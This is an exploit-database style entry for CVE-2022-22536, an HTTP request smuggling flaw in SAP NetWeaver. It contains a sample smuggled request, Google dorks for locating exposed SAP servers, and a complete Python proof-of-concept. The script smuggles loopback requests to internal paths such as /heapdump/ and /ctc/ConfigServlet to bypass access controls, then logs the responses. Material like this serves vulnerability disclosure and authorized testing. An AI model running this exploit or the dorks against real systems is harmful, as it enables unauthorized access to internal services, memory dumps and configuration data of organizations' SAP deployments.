SAP NetWeaver – 7.53 – HTTP Request Smuggling
# Exploit Title: SAPGateBreaker Exploit - CVE-2022-22536 - HTTP Request Smuggling Through SAP's Front Door # Google Dork: https://github.com/BecodoExploit-mrCAT/SAPGateBreaker-Exploit/blob/main/dorks # Date: Tuesday, April 2, 2025 # Exploit Author: @C41Tx90 - Victor de Queiroz - Beco do Exploit - Elytron Security # Vendor Homepage: https://community.sap.com/t5/technology-blogs-by-members/remediation-of-cve-2022-22536-request smuggling-and-request-concatenation/ba-p/13528083 # Software Link: https://help.sap.com/docs/SUPPORT_CONTENT/uiwits/3361892375.html # Version: SAP NetWeaver Application Server ABAP, SAP NetWeaver Application Server Java, ABAP Platform, SAP Content Server 7.53 and SAP Web Dispatcher # Tested on: Red Hat Enterprise Linux (RHEL) # CVE : 2022-22536 https://github.com/BecodoExploit-mrCAT/SAPGateBreaker-Exploit ------ SAPGateBreaker - CVE-2022-22536 HTTP Request Smuggler Author: @C41Tx90 - Victor de Queiroz | elytronsecurity.com | becodoexploit.com ---------------------------------------------------------------------------- Target: SAP NetWeaver Application Server Vulnerability: CVE-2022-22536 Exploit Type: HTTP Request Smuggling (Content-Length-based) Impact: ACL Bypass, Internal Access More information and explanations: https://github.com/BecodoExploit-mrCAT/SAPGateBreaker-Exploit ---------------------------------------------------------------------------- Sample Payload: ---------------------------------------------------------------------------- GET /sap/admin/public/default.html HTTP/1.1 Host: 172.32.22.7:50000 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: http://172.32.22.7:50000/sap/admin/public/default.html X-Requested-With: XMLHttpRequest Connection: keep-alive Cookie: saplb_*=(J2EE7364720)7364750 Authorization: Basic YTph Content-Length: 89 0\r \r GET /heapdump/ HTTP/1.1\r Host: 127.0.0.1\r X-Forwarded-For: 127.0.0.1\r \r ---------------------------------------------------------------------------- Expected Response: ---------------------------------------------------------------------------- HTTP/1.1 200 OK server: SAP NetWeaver Application Server last-modified: Tue, 01 Sep 2020 11:54:39 GMT sap-cache-control: +3600 date: Tue, 01 Apr 2025 20:49:02 GMT content-length: 4465 content-type: text/html connection: Keep-Alive x-dummy: 0 ---------------------------------------------------------------------------- Indicators of Success: - Status code 200 for internal endpoints - Difference between direct access (403/404) and smuggled (200) - Access to otherwise restricted SAP services via loopback injection ---------------------------------------------------------------------------- Example Paths Tested: - /sap/public/bc/icf/info - /sap/bc/webdynpro/sap/appl_soap_management - /heapdump/ - /ctc/ConfigServlet - /sap/public/bc/icf/logon.html - /webdynpro/resources/sap.com/tc~lm~config~content/ ---------------------------------------------------------------------------- SAP NetWeaver Application Server ABAP, SAP NetWeaver Application Server Java, ABAP Platform, SAP Content Server 7.53 and SAP Web Dispatcher are vulnerable for request smuggling and request concatenation. An unauthenticated attacker can prepend a victim's request with arbitrary data. This way, the attacker can execute functions impersonating the victim or poison intermediary Web caches. A successful attack could result in complete compromise of Confidentiality, Integrity and Availability of the system. Google Dorks: intitle:"SAP NetWeaver Application Server Java" inurl:/webdynpro/resources/ intitle:"SAP NetWeaver" "SAP J2EE Engine" intitle:"Welcome to SAP NetWeaver" inurl:/irj/portal intitle:"SAP NetWeaver Administrator" inurl:/nwa inurl:"/sap/bc/webdynpro" -site:sap.com inurl:"/sap/public" "SAP NetWeaver" inurl:"/sap/admin/public/default.html" inurl:"/webdynpro/welcome/Welcome.html" inurl:"/sap/public/info.jsp" "Powered by SAP NetWeaver" inurl:sap intitle:"SAP Web Dispatcher Administration" ---------------------------------------------------------------------------- # Exploit import argparse import http.client from urllib.parse import urlparse from colorama import Fore, Style, Back, init import os init(autoreset=True) BANNER = f""" {Fore.WHITE} +---------------------------+ (\__/\ Breaking the Gate | {Style.BRIGHT}{Fore.WHITE}by{Style.RESET_ALL} {Fore.YELLOW}@C41Tx90{Fore.WHITE} | ({Fore.RED}•{Fore.WHITE}デ{Fore.RED}•{Fore.WHITE}) {Style.BRIGHT}{Fore.YELLOW} CVE-2022-22536{Style.RESET_ALL} | {Fore.GREEN}t.me/becodoxpl{Fore.WHITE} | / つ {Fore.WHITE}HTTP Request Smuggler | {Fore.YELLOW}becodoexploit.com{Fore.WHITE} | | {Fore.LIGHTBLUE_EX}elytronsecurity.com{Fore.WHITE} | +---------------------------+ """ def detect_sap_version(host, port, is_https): try: conn_class = http.client.HTTPSConnection if is_https else http.client.HTTPConnection conn = conn_class(host, port, timeout=5) conn.request("GET", "/") res = conn.getresponse() headers = {k.lower(): v for k, v in res.getheaders()} server_header = headers.get("server", "Unknown") print(f"{Fore.YELLOW}[*] {Fore.WHITE}Detected SAP Server Header: {Fore.CYAN}{server_header}\n") return server_header except Exception as e: print(f"{Fore.RED}[!] {Fore.WHITE}Could not determine SAP version: {e}\n") return "Unknown" def build_smuggled_request(path): return f"0\r\n\r\nGET {path} HTTP/1.1\r\nHost: 127.0.0.1\r\nX-Forwarded-For: 127.0.0.1\r\nConnection: close\r\n\r\n" def try_file_read(host, port, is_https, verbose): test_paths = [ "/sap/public/bc/icf/info", "/sap/public/info.jsp", "/sap/public/test/test.jsp", "/sap/bc/webdynpro/sap/appl_soap_management", "/sap/public/bc/soap/rfc", "/webdynpro/welcome/Welcome.html", "/sr_central", "/useradmin/.jsp", "/heapdump/", "/startPage", "/crossdomain.xml", "/ctc/ConfigServlet", "/webdynpro/resources/sap.com/tc~lm~config~content/", "/sld", "/sap/bc/webdynpro/sap/wdy_cfg_component_config", "/sap/public/bc/icf/logon.html", "/sap/bc/webdynpro/sap/itadmin", "/sap/public/bc/sec/saml2", "/sap/public/bc/webdav" ] print(f"{Style.BRIGHT}{Fore.RED}[!] {Fore.WHITE}Proof of Concept for ACL Bypass via HTTP Request Smuggling{Style.RESET_ALL}\n") for path in test_paths: try: conn_class = http.client.HTTPSConnection if is_https else http.client.HTTPConnection conn = conn_class(host, port) conn.request("GET", path) res_direct = conn.getresponse() content_direct = res_direct.read().decode(errors="ignore") direct_status = res_direct.status except Exception as e: print(f"{Fore.RED}[!] {Fore.WHITE}Error checking direct access for {path}: {e}") continue body = build_smuggled_request(path) headers = { "Host": f"{host}:{port}", "Authorization": "Basic YTph", "Cookie": "saplb_*=(J2EE7364720)7364750", "Content-Type": "application/json", "Content-Length": str(len(body.encode("utf-8"))) } try: conn = conn_class(host, port) conn.request("POST", "/sap/admin/public/default.html", body=body, headers=headers) res = conn.getresponse() smuggled_headers = res.getheaders() content_smuggled = res.read().decode(errors="ignore") smuggled_status = res.status status_color = Fore.GREEN if smuggled_status != direct_status else Fore.RED print(f"{status_color}[-] {Fore.LIGHTBLUE_EX}{path} {Style.BRIGHT}{Fore.WHITE}Direct Access: {Fore.YELLOW}({direct_status}) {Fore.WHITE}Smuggled Access: {status_color}({smuggled_status}){Style.RESET_ALL}") if smuggled_status == direct_status: print(f"{Fore.RED}[x] {Fore.WHITE}Exploit did not work for {path}\n") with open("poc.txt", "a") as f: f.write(f"\n--- Path: {path} ---\n") f.write(f"Direct: {direct_status}\nSmuggled: {smuggled_status}\n") f.write(f"Smuggled Request:\nPOST /sap/admin/public/default.html HTTP/1.1\n") for k, v in headers.items(): f.write(f"{k}: {v}\n") f.write(f"\n{body}\n") f.write(f"Smuggled Response Headers:\n") for h in smuggled_headers: f.write(f"{h[0]}: {h[1]}\n") if verbose: f.write(f"\nSmuggled Response Body:\n{content_smuggled}\n") f.write(f"\nDirect Response:\n{content_direct}\n") if verbose: print(f"\n{Fore.BLUE}>>> Sent Payload to {path}:{Style.RESET_ALL}") print(f"{Fore.CYAN}POST /sap/admin/public/default.html HTTP/1.1") for k, v in headers.items(): print(f"{Fore.CYAN}{k}: {v}") print(f"\n{Fore.MAGENTA}{body.strip()}{Style.RESET_ALL}\n") print(f"{Fore.BLUE}>>> Received Response:{Style.RESET_ALL}") print(f"{Back.YELLOW if smuggled_status == 500 else Fore.CYAN}{Fore.WHITE}HTTP/1.1 {smuggled_status}{Style.RESET_ALL}") for h in smuggled_headers: print(f"{Fore.CYAN}{h[0]}: {h[1]}") print(f"\n{Fore.CYAN}{content_smuggled}{Style.RESET_ALL}") except Exception as e: print(f"{Fore.RED}[!] {Fore.WHITE}Error smuggling to {path}: {e}") def send_smuggled_request(target, verbose): parsed = urlparse(target) is_https = parsed.scheme == 'https' port = parsed.port or (443 if is_https else 80) host = parsed.hostname print(BANNER) print(f"{Fore.YELLOW}[*] {Fore.WHITE}Starting CVE-2022-22536 exploitation on {host}:{port}\n") detect_sap_version(host, port, is_https) body = build_smuggled_request("/sap/bc/webdynpro/sap/appl_soap_management") headers = { "Host": f"{host}:{port}", "Authorization": "Basic YTph", "Cookie": "saplb_*=(J2EE7364720)7364750", "Content-Type": "application/json", "Content-Length": str(len(body.encode("utf-8"))) } conn_class = http.client.HTTPSConnection if is_https else http.client.HTTPConnection conn = conn_class(host, port) try: conn.request("POST", "/sap/admin/public/default.html", body=body, headers=headers) res = conn.getresponse() content = res.read().decode(errors="ignore") status_display = f"HTTP/{res.version/10:.1f} {res.status} {res.reason}" is_exploit_success = res.status in [200, 500, 403, 302] print(f"{Fore.GREEN if is_exploit_success else Fore.RED}[-] {Fore.WHITE}Exploit executed{' successfully' if is_exploit_success else ''}! {Fore.YELLOW}CVE-2022-22536") print(f"{Fore.WHITE}{'-'*60}\n") print(f"{Fore.BLUE}>>> Sent Payload:{Style.RESET_ALL}") print(f"{Fore.CYAN}POST /sap/admin/public/default.html HTTP/1.1") for k, v in headers.items(): print(f"{Fore.CYAN}{k}: {v}") print(f"\n{Fore.MAGENTA}{body.strip()}{Style.RESET_ALL}\n") print(f"{Fore.BLUE}>>> Received Response:{Style.RESET_ALL}") print(f"{Back.YELLOW if res.status == 500 else Fore.CYAN}{Fore.WHITE}{status_display}{Style.RESET_ALL}") for h in res.getheaders(): print(f"{Fore.CYAN}{h[0]}: {h[1]}") if verbose: print(f"\n{Fore.CYAN}{content}{Style.RESET_ALL}") with open("poc.txt", "w") as f: f.write(f"Initial Request:\nPOST /sap/admin/public/default.html HTTP/1.1\n") for k, v in headers.items(): f.write(f"{k}: {v}\n") f.write(f"\n{body}\n") f.write(f"Initial Response:\n{status_display}\n") for h in res.getheaders(): f.write(f"{h[0]}: {h[1]}\n") f.write(f"\n{content}\n") print("\n") if is_exploit_success: print(f"{Fore.GREEN}[=] {Fore.WHITE}The exploit executed successfully and triggered an internal processing behavior. This indicates a potential HTTP request smuggling condition.") else: print(f"{Fore.RED}[x] {Fore.WHITE}The exploit did not trigger the expected behavior. Target may not be vulnerable.") print(f"\n{Fore.WHITE}{'-'*60}\n") try_file_read(host, port, is_https, verbose) except Exception as e: print(f"{Fore.RED}[!] {Fore.WHITE}Error sending initial request: {e}") def main(): parser = argparse.ArgumentParser(description="CVE-2022-22536 Smuggling PoC") parser.add_argument("-u", "--url", required=True, help="Target full URL (e.g., http://host:port)") parser.add_argument("--verbose", "-v", action="store_true", help="Show full headers and responses") args = parser.parse_args() os.system('clear') send_smuggled_request(args.url, args.verbose) if __name__ == "__main__": main() ---------------------------------------------------------------------------- https://nvd.nist.gov/vuln/detail/CVE-2022-22536 https://launchpad.support.sap.com/#/notes/3123396 https://blogs.sap.com/2022/02/08/patch-your-sap-netweaver-application-server-asap-cve-2022-22536/ |